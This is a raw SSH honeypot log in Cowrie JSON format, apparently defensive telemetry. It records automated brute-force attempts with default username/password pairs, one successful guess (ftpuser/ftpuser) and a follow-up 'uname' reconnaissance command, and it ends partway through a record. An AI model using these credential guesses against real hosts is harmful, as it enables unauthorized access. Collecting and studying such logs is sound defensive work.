{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ed:a0:3c:ad:00:57:22:1d:11:2a:24:0a:87:af:ae:46","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJxUin9kEQvnP0HfxhvzJ3AJyZarMPvriiWRsH0vDwvGXjwl4/w8FVQmiCZBLT+PMrt6IdzUT6Uw4l5hZYR5qeuyXLJ+tBkesuw7QYApWcBdEWA+rXcM3EYqFVj0ax6ciBSfMM8/rjpWG6pFH5w7rXJ+rrRy8Js34Kb56f9TN9pgOwlfeAxTMQTn04bb56bFVl7ngiJieYdPTCvdf/SDQcLBoMPKocH34Fuyiq7qe3RxMcHeHgBLuD8PMwBpOQoj7+1cGiJhzcnDUIGSl/rIJbuSmBv3yqo9yaWhYaF3/H/CuGjKQWh1WBf9RPtwFl7a2ne35MCNwRhgNA0UprpWpH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.832975Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:12.910952Z","src_ip":"108.181.22.199","session":"f6fa7e52fb03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56944,"dst_ip":"159.203.135.109","dst_port":22,"session":"979fbfbcf462","protocol":"ssh","message":"New connection: 192.109.200.237:56944 (159.203.135.109:22) [session: 979fbfbcf462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:13.642435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:13.647667Z","src_ip":"192.109.200.237","session":"979fbfbcf462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:13.730235Z","src_ip":"192.109.200.237","session":"979fbfbcf462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yunwei","password":"yunwei","message":"login attempt [yunwei/yunwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:13.976094Z","src_ip":"192.109.200.237","session":"979fbfbcf462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:15.062692Z","src_ip":"192.109.200.237","session":"979fbfbcf462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56954,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3967742290","protocol":"ssh","message":"New connection: 192.109.200.237:56954 (159.203.135.109:22) [session: 4b3967742290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:16.804055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:16.808964Z","src_ip":"192.109.200.237","session":"4b3967742290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:16.890986Z","src_ip":"192.109.200.237","session":"4b3967742290","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456","message":"login attempt [debian/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:17.137447Z","src_ip":"192.109.200.237","session":"4b3967742290","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":36798,"dst_ip":"159.203.135.109","dst_port":22,"session":"60c16175468e","protocol":"ssh","message":"New connection: 194.113.233.25:36798 (159.203.135.109:22) [session: 60c16175468e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:18.122435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:18.130895Z","src_ip":"194.113.233.25","session":"60c16175468e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:18.222586Z","src_ip":"192.109.200.237","session":"4b3967742290","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:18.227433Z","src_ip":"194.113.233.25","session":"60c16175468e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"456987","message":"login attempt [root/456987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:18.512843Z","src_ip":"194.113.233.25","session":"60c16175468e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:19.610366Z","src_ip":"194.113.233.25","session":"60c16175468e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56970,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ce072715d8f","protocol":"ssh","message":"New connection: 192.109.200.237:56970 (159.203.135.109:22) [session: 0ce072715d8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:19.888317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:19.892859Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:19.974940Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"ftpuser","password":"ftpuser","message":"login attempt [ftpuser/ftpuser] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:20.219641Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:20.421144Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:20.423921Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:20.508486Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:20.514516Z","src_ip":"192.109.200.237","session":"0ce072715d8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36342,"dst_ip":"159.203.135.109","dst_port":22,"session":"a54ef05209d7","protocol":"ssh","message":"New connection: 192.109.200.237:36342 (159.203.135.109:22) [session: a54ef05209d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:22.937106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:22.941673Z","src_ip":"192.109.200.237","session":"a54ef05209d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:23.024949Z","src_ip":"192.109.200.237","session":"a54ef05209d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:23.276450Z","src_ip":"192.109.200.237","session":"a54ef05209d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:24.363047Z","src_ip":"192.109.200.237","session":"a54ef05209d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36344,"dst_ip":"159.203.135.109","dst_port":22,"session":"716052ee1c66","protocol":"ssh","message":"New connection: 192.109.200.237:36344 (159.203.135.109:22) [session: 716052ee1c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:26.130768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:26.138093Z","src_ip":"192.109.200.237","session":"716052ee1c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:26.220844Z","src_ip":"192.109.200.237","session":"716052ee1c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:26.467351Z","src_ip":"192.109.200.237","session":"716052ee1c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:27.553131Z","src_ip":"192.109.200.237","session":"716052ee1c66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36352,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f4ee4d19969","protocol":"ssh","message":"New connection: 192.109.200.237:36352 (159.203.135.109:22) [session: 0f4ee4d19969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:29.267149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:29.271632Z","src_ip":"192.109.200.237","session":"0f4ee4d19969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:29.354694Z","src_ip":"192.109.200.237","session":"0f4ee4d19969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:29.602870Z","src_ip":"192.109.200.237","session":"0f4ee4d19969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:30.689106Z","src_ip":"192.109.200.237","session":"0f4ee4d19969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":52234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8051787b205","protocol":"ssh","message":"New connection: 192.109.200.237:52234 (159.203.135.109:22) [session: d8051787b205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:32.258158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:54:32.354643Z","src_ip":"192.109.200.237","session":"d8051787b205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 